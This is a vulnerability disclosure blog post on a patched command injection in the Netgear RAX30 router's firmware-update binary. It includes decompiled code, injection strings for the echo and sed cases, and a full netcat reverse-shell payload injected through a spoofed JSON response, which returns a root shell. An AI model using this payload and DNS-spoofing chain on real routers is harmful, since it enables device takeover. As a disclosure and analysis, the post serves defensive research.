This blog post describes a command injection vulnerability found and exploited in November 2022 by NCC Group in the Netgear RAX30 router’s WAN interface. It was running firmware version 1.0.7.78 at the time of exploitation. The vulnerability was patched on the 1st of December 2022 with hotfix firmware version 1.0.9.90. Hotfix 1.0.9.90 is no longer publicly accessible on the Netgear website as the latest hotfix firmware version is 1.0.9.92.
The firmware files are accessible via the following links:
The Netgear
RAX30 /bin/pucfu
binary executes during boot and will
attempt to connect to a Netgear domain
(https://devcom.up.netgear.com/
) and retrieve a JSON
response. We use a DHCP server to control the DNS server that is
assigned to the router’s WAN interface. By controlling the response of
the DNS lookup we can cause the router to perform HTTP(S) requests to an
attacker-controlled web server. Our web server will then respond with a
specially crafted JSON response that triggers a command injection in
/bin/pucfu
.
The command injection vulnerability occurs in the
SetFileValue()
function defined in
/lib/libpu_util.so
which is imported by
/bin/pucfu
. This function will be passed a user-controlled
value, which will be appended to an executed execve
shell
command.
The vulnerability flow consists of functions from the libraries
/usr/lib/libfwcheck.so
and /lib/libpu_util.so
as shown in the following call graph:
The /bin/pucfu
’s main
[1] function calls
the get_check_fw
[2] function from the
/usr/lib/libfwcheck.so
library. This function retrieves the
url
JSON parameter from
https://devcom.up.netgear.com/UpBackend/checkFirmware/
and
stores it into the bufferLargeA
variable.
bufferLargeA
is then copied to bufferLargeB
[3] and passed to the SetFileValue
function as the value
parameter [4].
int main(int argc,char **argv) // [1] { ... // Perform API call to retrieve data status = get_check_fw(callMode, 0, bufferLargeA, 0x800); // [2] - Retrieve attacker controlled data into bufferLargeA ... strcpy(bufferLargeB, bufferLargeA); // [3] SetFileValue("/tmp/fw/cfu_url_cache", "lastURL", bufferLargeB); // [4] - Attacker controlled data passed as value parameter ... }
The get_check_fw
function prepares request parameters by
retrieving data from the D2 database including the base URL of
https://devcom.up.netgear.com/UpBackend/
[5]. Next,
fw_check_api
is called passing through the
urlBuffer
buffer [6] which will contain the received URL
from the JSON response.
int get_check_fw(int mode, byte betaAcceptance, char *urlBuffer, size_t urlBufferSize) { ... char upBaseUrl [136]; char deviceModel [64]; char fwRevision [64]; char fsn [16]; uint region; // Retrieve data from D2 d2_get_ascii(DAT_00029264,"UpCfg",0,"UpBaseURL",upBaseUrl,0x81); // [5] d2_get_string(DAT_00029264,"General",0,"DeviceModel",deviceModel,0x40); d2_get_ascii(DAT_00029264,"General",0,"FwRevision",fwRevision,0x40); d2_get_ascii(DAT_00029264,"General",0,&DAT_000182ac,fsn,0x10); d2_get_uint(DAT_00029264,"General",0,"Region",®ion); // Call Netgear API and store response URL into urlBuffer ret = fw_check_api(upBaseUrl, deviceModel, fwRevision, fsn, region, mode, betaAcceptance, urlBuffer, urlBufferSize); // [6] ... }
fw_check_api
performs a POST request to the
baseUrl
endpoint with the data parameters as a JSON body
[7]. The JSON response is then parsed [8] and the url
data
value is copied to the urlBuffer
parameter [9] which is
returned to the main
function.
uint fw_check_api(char *baseUrl,char *modelNumber,char *currentFwVersion,char *serialNumber, uint regionCode,int reasonToCall,byte betaAcceptance,char *urlBuffer, size_t urlBufferSize) { ... // Build JSON request char json [516]; snprintf(json, 0x200, "{\"token\":\"%s\",\"ePOCHTimeStamp\":\"%s\",\"modelNumber\":\"%s\",\"serialNumber\":\"%s \",\"regionCode\":\"%u\",\"reasonToCall\":\"%d\",\"betaAcceptance\":%d,\"currentFWVersion \":\"%s\"}", token, epochTimestamp, modelNumber, serialNumber, regionCode, reasonToCall, (uint)betaAcceptance, currentFwVersion ); snprintf(checkFwUrl, 0x80, "%s%s", baseUrl, "checkFirmware/"); // Perform HTTPS request int status = curl_post(checkFwUrl, json, &response); // [7] char* _response = response; ... // Parse JSON response cJSON *jsonObject = cJSON_Parse(_response); // [8] // Get status item cJSON *jsonObjectItem = cJSON_GetObjectItem(jsonObject, "status"); if ((jsonObjectItem != (cJSON *)0x0) && (jsonObjectItem->type == cJSON_Number)) { state = 0; (*(code *)fw_debug)(1,"\nStatus 1 received\n"); // Get URL item cJSON *jsonObjectItemUrl = cJSON_GetObjectItem(jsonObject,"url"); // Copy url into url buffer int snprintfSize = snprintf(urlBuffer, urlBufferSize, "%s", jsonObjectItemUrl->valuestring); // [9] ... return state; } ... }
The curl_post
function performs a HTTPS post request
using the curl_easy
library. Although HTTPS is used, the
CURLOPT_SSL_VERIFYHOST
[10] and
CURLOPT_SSL_VERIFYPEER
[11] curl options are set to
disabled therefore an attacker-controlled HTTPS web server will not be
verified by the library.
size_t curl_post(char *url, char *json, char **response) { ... curl_easy_setopt(curl, CURLOPT_URL, url); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, curlSList); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, json); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0); // [10] - SSL Verification Disabled curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0); // [11] - SSL Verification Disabled ... }
The SetFileValue
function contains the command injection
vulnerability when parameter filename
, key
or
value
contain data controlled by an attacker. In this case,
the attacker can control the value
parameter.
The function performs either an echo
[12] or
sed
[13] OS command depending on if the key already exists
in the file or not.
If the field does not exist, then the echo
command [12]
will be executed. In which case, it is possible to perform command
injection with the following input:
';<command> #
.
If the field already exists, then one of two sed
commands [13] will be executed. The choice depend on if the input value
contains a /
character. The following inputs cause a
command injection in these scenarios:
Value Contains “/” | Injection | Executed Command |
---|---|---|
Yes | /' filename; <command> # | sed -i 's/^lastURL=.*/lastURL=/' filename; #/' /tmp/fw/cfu_url_cache |
No | |' filename; <command> # | sed -i 's|^lastURL=.*|lastURL=|' filename; #|' /tmp/fw/cfu_url_cache |
int SetFileValue(char *filename, char *key, char *value) { char currentValueBuffer [101]; char command [204]; int currentValueBufferLength = GetFileValue(filename, key, currentValueBuffer, 0x65); if (currentValueBufferLength < 0) { // Build echo command if value doesn't exist to insert snprintf(command, 0xc9, "echo \'%s=%s\' >> %s", key, value, filename); // [12] - Vulnerable to command injection } else { // Build sed command if value exists to replace char* commandTemplate = strchr(currentValueBuffer,0x2f); if (commandTemplate == (char *)0x0) commandTemplate = "sed -i \'s/^%s=.*/%s=%s/\' %s"; // [13] - Vulnerable to command injection else commandTemplate = "sed -i \'s|^%s=.*|%s=%s|\' %s"; // [13] - Vulnerable to command injection snprintf(command, 0xc9, commandTemplate, key, key, value, filename); } // Execute command int status = pegaPopen(command,"r"); // Executes `execve` with the command parameter if (status != 0) { pegaPclose(); // Verify value set status = GetFileValue(filename, key, currentValueBuffer, 0x65); if ((-1 < status) && (int status = strcmp(value, currentValueBuffer), status == 0)) return status; } return -1; }
The pegaPopen
function executes a shell command passed
by argument command
using execve
[14]. This is
vulnerable to a command injection attack as the command executed is
/bin/sh -c <command>
and therefore the second input
argument is executed as a shell command.
FILE * pegaPopen(char *command, char *rw) { char *argv [4]; argv[0] = gStrPtrSh; // "sh" argv[1] = gStrPtrDashC; // "-c" argv[2] = gStrPtrNull; // NULL ... __pid_t _status = vfork(); ... argv[2] = command; execve("/bin/sh", argv, environ); // [14] _exit(0x7f); }
We use Dnsmasq to run a DHCP server and DNS server to redirect HTTPS web requests to our attacker’s machine. A web server is then used to dump HTTPS requests and respond with attacker-controlled data.
Let’s analyse a typical request/response to the
https://devcom.up.netgear.com/UpBackend/checkFirmware/
endpoint made by the pucfu
binary. As can be seen, it is to
retrieve the url
associated to checking the firmware
update.
Request:
{ "token": "5a4e2e5bc1f20cbf835aafba60dff94bfc30e7726c8be7624ffb2bc7331d219e", "ePOCHTimeStamp": "1646392475", "modelNumber": "RAX30", "serialNumber": "6LA123BC456D7", "regionCode": "2", "reasonToCall": "1", "betaAcceptance": 0, "currentFWVersion": "V1.0.7.78" }
Response:
{ "status": 1, "errorCode": null, "message": null, "url": "https://http.fw.updates1.netgear.com/rax30/auto" }
The following response injects the reverse shell command
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.20.1 31337 >/tmp/f
(Reverse
Shell Cheat Sheet) into the URL parameter, which results in the
router sending a root shell to IP 192.168.20.1 on port 31337.
{ "status": 1, "errorCode": null, "message": null, "url": "'; rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.20.1 31337 >/tmp/f #" }
The full command which is executed by pucfu
with the
injected payload is
echo 'lastURL='; rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.20.1 31337 >/tmp/f #' >> /tmp/fw/cfu_url_cache
which is effectively similar to the following series of commands:
echo 'lastURL=' rm -f /tmp/f mknod /tmp/f p cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.20.1 31337 >/tmp/f #' >> /tmp/fw/cfu_url_cache
Bundling the DHCP, DNS, web server and TCP listener into a single Python script which sends the reverse shell injection string results in a root shell as shown:
$ sudo python3 puckungfu.py -i eth1 [#] Listening for shell on port 31337/tcp [#] Listening for HTTPS requests on port 443/tcp [#] Waiting for shell... [+] Received a shell... BusyBox v1.31.1 (2022-03-04 19:12:56 CST) built-in shell (ash) Enter 'help' for a list of built-in commands. # id uid=0(root) gid=0(root) groups=0(root)
Netgear firmware v1.0.9.90 patched this vulnerability on the 1st of
December 2022 by modifying the SetFileValue
function.
If the existing value does not exist in the file, then instead of a
echo
command executed with execve
, the
functions: fopen
[15], fprintf
[16] and
fclose
[17] are used. Therefore, there is no direct command
injection present.
If an existing value exists, then a sed
replace command
is still used. However, execve
[18] with arguments is
called instead of a direct shell command (no sh -c
invocation).
int SetFileValue(char *filename, char *key, char *value) { // Get existing key value from file char valueBuffer[104]; int ret = GetFileValue(filename, key, valueBuffer, 0x65); // Key doesn't exist if (ret < 0) { FILE* __stream = fopen(filename,"a+"); // [15] if (__stream != (FILE *)0x0) { fprintf(__stream,"%s=%s\n",key,value); // [16] fclose(__stream); // [17] } } else { // Key exists char* valueHasSlash = strchr(valueBuffer,0x2f); if (valueHasSlash == (char *)0x0) valueHasSlash = "s/^%s=.*/%s=%s/"; else valueHasSlash = "s|^%s=.*|%s=%s|"; // Set sed args char *args [4]; snprintf(args[2], 0xC9, valueHasSlash, key, key, value); args[0] = "sed"; args[1] = "-i"; args[3] = filename; if (filename != (char *)0x0) { __pid_t __pid = fork(); if (__pid == 0) execve("/bin/sed", args, (char **)0x0); // [18] ... } } // Validate key value was set ret = GetFileValue(filename, key, valueBuffer, 0x65); if (ret < 0) return -1; if (strcmp(value, valueBuffer) != 0) return -1; return ret; }
We initially did this research to use it for Pwn2Own 2022 Toronto but Netgear released firmware version 1.0.9.90 one day prior to the competition and therefore this vulnerability was no longer eligible. However, we managed to find an alternative Netgear WAN vulnerability after the patch in time as seen on Twitter.
Successful use of a N-day but still nets some cash and MoP points! #Pwn2Own #P2OToronto pic.twitter.com/rp2cGiimt3
— Zero Day Initiative (@thezdi) December 7, 2022